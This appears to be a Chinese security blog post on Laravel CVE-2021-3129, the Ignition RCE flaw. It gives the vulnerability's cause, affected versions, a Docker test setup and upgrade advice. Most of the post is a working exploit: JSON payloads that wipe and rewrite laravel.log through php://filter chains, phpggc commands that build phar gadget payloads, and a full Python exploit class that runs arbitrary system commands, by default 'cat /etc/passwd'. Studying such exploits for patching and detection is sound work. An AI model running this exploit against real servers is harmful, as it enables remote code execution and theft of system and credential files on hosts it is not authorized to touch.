官网
https://laravel.com/
https://github.com/laravel
简介
Laravel 是一套简洁、优雅的PHP Web开发框架(PHP Web Framework)。它可以让你从面条一样杂乱的代码中解脱出来;它可以帮你构建一个完美的网络APP,而且每行代码都可以简洁、富于表达力。2021年01月12日,Laravel被披露存在一个远程代码执行漏洞(CVE-2021-3129)。
漏洞原理
当Laravel开启了Debug模式时,由于Laravel自带的Ignition 组件(<=2.5.1)对MakeViewVariableOptionalSolution的file_get_contents()和file_put_contents()函数的不安全使用,攻击者可以通过发起恶意请求,构造恶意Log文件等方式触发Phar反序列化,最终造成远程代码执行。
影响范围
- Laravel <= 8.4.2
- Ignition <2.5.2
框架检测
![](https://blog.hackall.cn/usr/uploads/2024/04/1908355897.png)
漏洞检测
通过报错信息
Payload Json数据如下:
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "xxxxxxx"
}
}
使用POST方法将Payload提交到/_ignition/execute-solution,报错file_get_contents(abcd)等说明漏洞存在,如图:
通过DNSLog
将生成的子域添加到viewFile参数的值,如图:
有解析记录,说明漏洞存在,如图:
环境搭建
- 使用GitHub SNCKER的docker版本
- 创建Dockerfile
FROM php:7.4-apache
RUN set -ex \
&& apt-get update \
&& apt-get install -y --no-install-recommends unzip \
&& curl -#L -o /usr/local/bin/composer https://github.com/composer/composer/releases/download/1.10.19/composer.phar \
&& chmod +x /usr/local/bin/composer
RUN set -ex \
&& cd /var/www \
&& rm -rf html \
&& composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/ \
&& composer create-project laravel/laravel . "v8.4.2" \
&& sed -i -E 's|"facade/ignition": ".+?"|"facade/ignition": "2.5.1"|g' composer.json \
&& composer update \
&& mv public html
RUN set -ex \
&& chown www-data:www-data -R /var/www \
&& a2enmod rewrite
- 构建镜像并运行
docker build . -t dockerfile
docker run -d -p 8000:80 dockerfile
漏洞利用
扫描目录发现HTTP 500错误,如图:
打开该路径可看出是laravel框架,如图:
也可通过查看源码看出,如图:
发送Payload触发报错,如图:
利用laravel.log实现phar反序列化
利用file_put_contents 函数使用php伪协议php://filter/write达到控制log内容,最后发送请求利用 file_get_contents() 去触发phar反序列化。要想利用laravel.log,需清空log内容。可能会想到一直base64解码,直到都为不可见字符解码清空。但base64在解码的时候如果等号后面还有内容则会报错。因此,大佬的新思路是utf-8转utf-16,然后quoted-printable编码,然后utf-16转utf-8,完成上述操作后log中所有字符转为不可见字符,最后base64解码即可。
清空日志内容的Payload如下:
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
}
}
给Log增加一次前缀,如下:
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "AA"
}
}
用phpggc生成phar序列化利用POC,然后利用Python编码,命令如下:
php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "phpinfo();" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
使用上面的命令生成Payload,如图:
在Payload最后添加一个字符,使得utf-16转成utf-8时总有一个Payload能被转换出来,如图:
然后将log文件转换为phar文件,Payload:
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
}
}
发送该数据,如图:
利用phar伪协议反序列化,执行任意代码,Payload:
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "phar://../storage/logs/laravel.log/test.txt"
}
}
该方法需要知道laravel.log的路径。
EXP
#!/usr/bin/python3
import requests as req
import os, uuid
class Exp:
__gadget_chains = {
"monolog_rce1": r""" php -d 'phar.readonly=0' phpggc/phpggc monolog/rce1 system %s --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())" > payload.txt""",
"monolog_rce2": r""" php -d 'phar.readonly=0' phpggc/phpggc monolog/rce2 system %s --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())" > payload.txt""",
"monolog_rce3": r""" php -d 'phar.readonly=0' phpggc/phpggc monolog/rce3 system %s --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())" > payload.txt""",
} # phpggc链集合,暂时添加rce1后续再添加其他增强通杀能力
__delimiter_len = 8 # 定界符长度
def __vul_check(self):
resp = req.get(self.__url, verify=False)
if resp.status_code != 405 and "laravel" not in resp.text:
return False
return True
def __payload_send(self, payload):
header = {
"Accept": "application/json"
}
data = {
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "cve20213129",
"viewFile": ""
}
}
data["parameters"]["viewFile"] = payload
resp = req.post(self.__url, headers=header, json=data, verify=False)
# print(resp.text)
return resp
def __command_handler(self, command):
"""
因为用户命令要注入到payload生成的命令中,为了防止影响结构,所以进行一些处理。
"""
self.__delimiter = str(uuid.uuid1())[:self.__delimiter_len] # 定界符用于定位页面中命令执行结果的位置。
# print(delimiter)
command = "echo %s && %s && echo %s" % (self.__delimiter, command, self.__delimiter)
# print(command)
escaped_chars = [' ', '&', '|'] # 我只想到这么多,可自行添加。
for c in escaped_chars:
command = command.replace(c, '\\' + c)
# print(command)
return command
def __clear_log(self):
return self.__payload_send(
"php://filter/write=convert.iconv.utf-8.utf-16le|convert.quoted-printable-encode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log")
def __gen_payload(self, gadget_chain):
gen_shell = self.__gadget_chains[gadget_chain] % (self.__command)
# print(gen_shell)
os.system(gen_shell)
with open('payload.txt', 'r') as f:
payload = f.read().replace('\n', '') + 'a' # 添加一个字符使得两个完整的payload总是只有一个可以正常解码
os.system("rm payload.txt")
# print(payload)
return payload
def __decode_log(self):
return self.__payload_send(
"php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log")
def __unserialize_log(self):
return self.__payload_send("phar://../storage/logs/laravel.log/test.txt")
def __rce(self):
text = self.__unserialize_log().text
# print(text)
echo_find = text.find(self.__delimiter)
# print(echo_find)
if echo_find >= 0:
return text[echo_find + self.__delimiter_len + 1: text.find(self.__delimiter, echo_find + 1)]
else:
return "[-] RCE echo is not found."
def exp(self):
for gadget_chain in self.__gadget_chains.keys():
print("[*] Try to use %s for exploitation." % (gadget_chain))
self.__clear_log()
self.__clear_log()
self.__payload_send('a' * 2)
self.__payload_send(self.__gen_payload(gadget_chain))
self.__decode_log()
print("[*] Result:")
print(self.__rce())
def __init__(self, target, command):
self.target = target
self.__url = req.compat.urljoin(target, "_ignition/execute-solution")
self.__command = self.__command_handler(command)
if not self.__vul_check():
print("[-] [%s] is seems not vulnerable." % (self.target))
print("[*] You can also call obj.exp() to force an attack.")
else:
self.exp()
def main():
Exp("http://127.0.0.1:8888", "cat /etc/passwd")
if __name__ == '__main__':
main()
修复方法
建议将 Laravel 框架升级至8.4.3及以上版本,或将 Ignition组件升级至 2.5.2 及以上版本。
下载链接:
https://laravel.com/docs/8.x#laravel-the-fullstack-framework
参考文章
https://mp.weixin.qq.com/s/k08P2Uij_4ds35FxE2eh0g
https://www.freebuf.com/articles/web/261469.html
https://xz.aliyun.com/t/9030?page=1#toc-3
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